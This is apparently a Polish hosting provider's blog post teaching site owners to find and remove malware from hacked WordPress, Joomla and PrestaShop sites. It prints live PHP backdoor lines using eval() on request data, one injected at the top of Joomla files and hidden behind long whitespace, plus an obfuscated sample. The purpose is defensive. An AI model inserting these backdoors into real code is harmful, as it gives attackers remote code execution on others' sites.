Moving Menu

Jak rozpoznać wirusy na Twojej stronie?

corner Jak rozpoznać wirusy na Twojej stronie?
Kiedy pewnego dnia Twoja strona przestaje działać prawidłowo, na podstronach pojawiają się dziwne treści z linkami do stron o wątpliwej reputacji, a administratorzy serwera przesyłają informacje, że z Twojego konta rozsyłany jest spam lub prowadzony jest jakiś atak, z całą pewnością w plikach Twojej aplikacji umieszczony został złośliwy kod.

Po początkowej dezorientacji przychodzi czas na sprzątanie bałaganu. I w tym miejscu użytkownicy mają ogromny problem. Nie znając się na programowaniu boją się usuwać pliki z konta. Na całe szczęście, aby wyłapać większość linii złośliwego kodu, tak naprawdę nie trzeba mieć zbyt wielkiego pojęcia o językach programowania. Uważasz, że brzmi to dziwnie? Ale tak właśnie jest i w dalszej części wpisu postaram się pokazać na co zwrócić uwagę by móc samodzielnie wyczyścić swoje konto z infekcji.

Skąd biorą się wirusy na stronach?

Gdy sam dowiedziałem się i zrozumiałem w jaki sposób infekcje najczęściej pojawiają się na stronach, byłem w pewnym sensie rozczarowany. Wcześniej myślałem, że niczym na filmach jakiś złośliwy człowiek siedzi przed komputerem, wytęża szare komórki i dokonuje włamania umieszczając na stronie złośliwe pliki.

Niestety (lub na szczęście, ale o tym dalej) tak nie jest. Ataki dokonywane są przy pomocy automatycznego oprogramowania - botów, które poruszają się po stronach w poszukiwaniu znanych im luk bezpieczeństwa w kodzie i gdy taką lukę znajdują podejmują działanie zaplanowane przez atakującego, najczęściej umieszczają złośliwy kod na stronie lub modyfikują jakiś istniejący plik.

Ataki te dokonywane są w oparciu o poznane luki w zabezpieczeniach. Dlatego najbardziej narażone są popularne, nieaktualizowane aplikacje. Przykładami są tutaj WordPress, Joomla czy PrestaShop. Aktualizowanie aplikacji i wtyczek, w nich zainstalowanych, w dużej mierze zabezpiecza nas przed włamaniami na naszą stronę.

Wyciek hasła.

Osobną drogą infekcji na stronie jest wyciek hasła do FTP lub panelu administracyjnego Twojego konta. Posiadanie dostępu do serwera umożliwia atakującemu umieszczanie w dowolny sposób, złośliwych stron na koncie.

Hasła są zwykle wykradane przez wirusy na urządzeniach, z których realizowany był dostęp do usług. Czasami również hasła są "odgadywane", dzieje się tak gdy ustawimy proste hasło typu "1234567890".

Dlaczego powinniśmy się cieszyć, że ataków dokonują roboty?

Odpowiedź jest prosta. Są one przewidywalne. Programy działają według jakiegoś algorytmu - schematu. Wykonują zaplanowane wcześniej czynności zawsze w dokładnie ten sam sposób.

Dzięki temu możemy przewidzieć w jaki sposób umieszczany jest złośliwy kod, ponieważ w ogromnej większości przypadków sposób umieszczania go jest identyczny, nie ma tutaj finezji człowieka, która utrudniałaby nam zadanie przy czyszczeniu aplikacji.

Po czym rozpoznać złośliwy kod?

Najprawdopodobniej gdy wykryta zostanie infekcja, będziesz mógł poprosić administratorów serwera o wykonanie skanowania Twojego konta. Na serwerach hostingowych w Kylos.pl w ramach standardowej obsługi technicznej wykonujemy takie skanowanie i dostarczamy raport, który zawiera pełne ścieżki do zainfekowanych plików. W raporcie tym otrzymasz również listę nieaktualnych aplikacji i wtyczek uruchomionych na koncie. Są to najczęściej używane i najpopularniejsze aplikacje (WordPress, Joomla, PrestaShop itp.) w związku z czym lista nie musi zawiera wszystkich nieaktualnych wersji aplikacji, jeśli korzystasz z mniej popularnych rozwiązań.

Raport taki ma formę przedstawioną poniżej.

# Script version check [OLD] [Wordpress v3.8.4 < v3.9.2]:
'/home/nazwa_konta/public_html/domena.pl/wp-includes/version.php'
# Known exploit = [Fingerprint Match] [PHP REQUEST Exploit [P0007]]:
'/home/nazwa_konta/public_html/domena.pl/wp-includes/SimplePie/Content/Type/index.php'
# Regular expression match = [decode regex: 1]:
'/home/nazwa_konta/public_html/domena.pl/admin/public/wysiwyg/themes/advanced/skins/default/img/style.php'
# (decoded file [depth: 1]) ClamAV detected virus = [Sanesecurity.Malware.21995.Backdoor.UNOFFICIAL]:
'/home/nazwa_konta/public_html/domena.pl/admin/public/wysiwyg/themes/advanced/skins/default/img/style.php'
# Script version check [OLD] [PrestaShop v1.5.6.1 < v1.6.0.9]:
'/home/nazwa_konta/public_html/domena.pl/config/settings.inc.php'

Znajomość dokładnej lokalizacji podejrzanych plików jest tutaj dużym ułatwieniem. Jednak należy zweryfikować czy plik jest szkodliwy, czy może mamy do czynienia z fałszywym alarmem. Jak to zrobić?

Sprawdź nazwę pliku.

Bardzo często infekcje występują w postaci osobnych plików umieszczonych na serwerze. Nazwa pliku może nam już dać wiele do myślenia. Jeśli plik ma nazwę składającą się z przypadkowych liter czy cyfr, najpewniej będzie on niechciany. Programiści nazywają pliki w taki sposób, by nazwy mówiły im za co dany plik odpowiada. Przykładowo:

xzcsw.php

 

Często nazwy plików mają odstraszyć mniej świadomych użytkowników. Stąd pojawiają się nazwy nawiązujące do konfiguracji czy panelu administratora lub jakiejś podstawowej funkcjonalności danej aplikacji. Przykładowo:

config.php setting.php admin.php panel.php

 

Jeśli plik taki pojawia się nagle w folderze przeznaczonym na wrzucane na serwer zdjęcia, to możemy być praktycznie pewni, że jest to infekcja.

Nieczytelne pliki - obfuskacja.

Często kod plików z infekcją jest zaciemniony. Zaciemnianie kodu nazywa się obfuskacją. Polega ono na takim napisaniu kodu, aby nie dało się w prosty sposób stwierdzić co taki plik zawiera, a najczęściej zawiera jakiś skrypt, który działa w sposób szkodliwy.

Pliki te wyglądają w sposób podobny do tego:

$Dcf22a0="x73x75x62x73x74x72";$Neaa926="143150162";$Sa70c2a="163164x72x5f163150x75146x66x6cx65";$Ka43c1b="x61x7ax6217114315
6x64172146x65147x6c150";while(1){$U341be9=$Dcf22a0($Sa70c2a($Ka43c1b),0,6);if($U341be9=="172x79x6ex7ax65x6c"){echo "120110x5040117142x6
6165x73143x61164157x7241".$Neaa926("x31x30");exit;}}

Programiści starają się pisać czysty i czytelny kod po to, aby w każdej chwili mogli do niego wrócić i zmodyfikować. Jeśli więc widzisz w jakimś pliku niezrozumiały ciąg znaków, najpewniej jest to zaciemniony kod.

UWAGA!! Może się zdarzyć, że jakiś programista chciał ukryć przed nami swój kod i w ten sposób go zaciemnił. Jednak są to raczej sytuacje marginalne.

Dużo częściej zaś możemy się spotkać z zaszyfrowanym kodem przy pomocy ionCube.

Jednak w takiej sytuacji w pliku powinniśmy znaleźć informację o tym, że kod został zaszyfrowany.

W plikach takich pojawia się zwykle linijka kodu podobna do tej:

if(!extension_loaded('ionCube Loader')) {kod}

Mówi ona programowi co ma zrobić w sytuacji, gdy na serwerze nie ma odpowiedniego rozszerzenia umożliwiającego odszyfrowanie takiego kodu.

Wykorzystanie w plikach funkcji eval()

Funkcja eval w PHP służy do wykonywania kodu przesłanego do niej jako parametr. W związku z tym, często używana jest do wykonywania ataków, ponieważ umieszczenie tylko jednej funkcji pozwoli atakującemu na wykonywanie dowolnego polecenia, które zostanie przez niego wywołane.

Często stosowana jest łącznie z funkcją base64_decode().

W kodzie strony wygląda to przykładowo w sposób następujący:

eval(base64_decode($_POST['na9c714']));

Znalezienie tego typu konstrukcji świadczy zwykle o tym, że plik został zmodyfikowany i można spokojnie usunąć taki zapis z naszej strony.

Doklejanie kodu na początku lub końcu pliku.

Jeśli do naszego pliku został doklejony złośliwy kod to będzie się on znajdował najpewniej na początku lub końcu tego pliku. Wynika to z faktu, że dużo łatwiej jest go dodać w tych miejscach w taki sposób, aby nie popsuć naszej aplikacji i nie wzbudzić podejrzeń.

Doklejany kod ma zwykle formę jednego z przedstawionych powyżej. Jest to albo zaciemniony program, albo wywołanie funkcji eval() umożliwiające uruchomienie dowolnego programu przez atakującego.

Przykładowo może to wyglądać w sposób następujący:

<?php $post_var = "req"; if(isset($_REQUEST[$post_var])) { eval(stripslashes($_REQUEST[$post_var])); exit(); }; ?>
<?php

/**
* @package Joomla.Site
* @subpackage com_mailto
* @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/

defined('_JEXEC') or die;

/**
* @package Joomla.Site
* @subpackage com_mailto
*/
abstract class MailtoHelper
{

Na samym początku pliku znajdziemy doklejone wywołanie funkcji eval() w postaci eval(stripslashes($_REQUEST[$post_var])); Następnie rozpoczyna się dopiero właściwy pliki jednego z komponentów zainfekowanej Joomli.

Jednak przedstawione doklejenie było prostym przypadkiem. Często złośliwy kod jest tak doklejony, by nie było tego widać na pierwszy rzut oka.

W przykładzie poniżej, na samej górze pliku, również jest złośliwa linia. Czy ją widzisz?

<?php                                                                                                                                                              eval(base64_decode($_POST['na9c714']));?><?php

/**
* @package Joomla.Site
* @subpackage com_users
* @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/

defined('_JEXEC') or die;

/**
* Login view class for Users.
*
* @package Joomla.Site
* @subpackage com_users
* @since 1.5
*/
class UsersViewLogin extends JViewLegacy
{

Jeśli znalazłeś wywołanie funkcji eval() to gratuluje!

Jeśli nie, to czy zauważyłeś pasek przewijania okienka w poziomie? Przewiń okienko do końca w prawo.

Zauważysz wtedy, że funkcja eval() została przesunięta w tekście tak, byś nie widział jej w edytorze. Dopiero po skorzystaniu z paska przewijania w poziomie i przesunięciu maksymalnie w prawo będzie ona widoczna.

Infekcje spowodowane wyciekiem hasła.

W zasadzie samo złośliwe oprogramowanie jest często bardzo podobne. Jednak usunięcie złośliwego kodu i zabezpieczenie aplikacji nie daje rezultatu, strona po stosunkowo krótkim okresie czasu ponownie działa nieprawidłowo. Ataki się ponawiają, gdyż agresor jest w posiadaniu naszego hasła i tak naprawdę już nie musi szukać żadnych dziur - po prostu loguje się do konta.

W przypadku wycieku hasła do panelu administracyjnego naszego konta, możemy zaobserwować na naszym koncie zmiany których nie dokonywaliśmy. Często są to dodatkowe subdomeny o dziwnie brzmiących nazwach, czy zakładane są fikcyjne skrzynki pocztowe.

W praktyce jeśli masz podejrzenia, że do Twojego konta realizowany jest nieuprawniony dostęp wystarczy takie informacje zgłosić administratorom. Są oni w stanie ocenić czy infekcja spowodowana jest bezpośrednim dostępem do panelu/FTP. Na serwerach Kylos.pl często już podczas weryfikacji problemów ze strona przez administratorów, wraz z raportem ze skanowania konta przesyłamy informacje mówiące o tym co jest bezpośrednią drogą infekcji.

Jak sobie poradzić z infekcją.

Korzystając z powyższych porad, powinieneś być w stanie odnaleźć większość podejrzanego kodu. Te proste wskazówki pozwolą na zidentyfikowanie dużej ilości infekcji, ponieważ tak naprawdę nie musisz wiedzieć co dany program robi. Szukasz jedynie przedstawionych powyżej poszlak i łączysz je w całość.

Po odnalezieniu złośliwych plików należy je usunąć lub zmienić. Zależy czy infekcja była doklejona do pliku czy była nowym plikiem.

Po wykonaniu tych czynności należy obowiązkowo zaktualizować aplikacje znajdujące się na koncie. Do ataków, jak już wcześniej wspomniałem, dochodzi głównie przez dobrze poznane błędy bezpieczeństwa w nieaktualnych wersjach oprogramowania.

Więc jeśli nie chcesz, aby Twoja praca poszła na marne, należy niezwłocznie po oczyszczeniu konta zaktualizować aplikacje i wtyczki pracujące na Twoim koncie.

Co robić w przypadku wycieku hasła?

Postępowanie jest proste. Należy przeskanować wszystkie urządzenia, z których realizowany był dostęp do konta, w poszukiwaniu wirusów. Złośliwe oprogramowanie na urządzeniach należy usunąć. Nawet jeśli nic nie znajdziemy, powinniśmy dopiero po wykonaniu skanowania komputera, zmienić hasła dostępowe do usług na serwerze, hasła do baz danych aplikacji czy wreszcie do samych paneli administracyjnych naszych stron. Pamiętajmy o tym, aby hasła te miały odpowiednią złożoność.  Dobrą zasadą jest ustawienie haseł składających się z minimalnie 8 znaków, zawierających duże i małe litery, cyfry, oraz znaki specjalne.

Oczywiście może się zdarzyć przypadek nieszablonowej infekcji, który będzie dużo trudniejszy w zdiagnozowaniu oraz zwalczeniu, jednak  jest to dużo mniej prawdopodobne. Większości ataków można uniknąć regularnie aktualizując aplikacje, a nawet jeśli na stronie pojawi się jakiś wirus, przeważnie jest on prosty do zneutralizowania przy użyciu opisów z tego wpisu.

comments powered by Disqus

Powiązane

photo corner
Różnice w wersjach PHP

W dzisiejszym wpisie chciałbym krótko przybliżyć Wam język PHP, oraz pokazać najważniejsze zmiany, jakie w ostatnich latach zostały w nim wprowadzone.

Czytaj więcej
photo corner
Zen Coding - HTML/CSS z prędkością światła (cz.I)

Wydajność jest dla kodera HTML/CSS sprawą kluczową. Kiedy opanujemy już składnię i podstawowe techniki oraz wdrożymy pierwsze projekty, czas kodowania nabiera podstawowego znaczenia. Z pomocą przychodzą nam rozmaite narzędzia. Dla mnie, najważniejszym jest Zen Coding, które w niezwykły sposób pozwala mi pisać kod kilkakrotnie szybciej.

Czytaj więcej
photo corner
Zen Coding - HTML/CSS z prędkością światła (cz.II)

W pierwszej części artykułu przedstawiłem Zen Coding jako niezwykłe ułatwienie w pracy kodera. Dowiedzieliśmy się, m.in. jak za pomocą jednej linijki pseudokodu napisać cały dokument HTML. Dziś przyjrzyjmy się rozwiązaniom, które przyspieszą naszą pracę z CSS. Zapraszam do lektury!

Czytaj więcej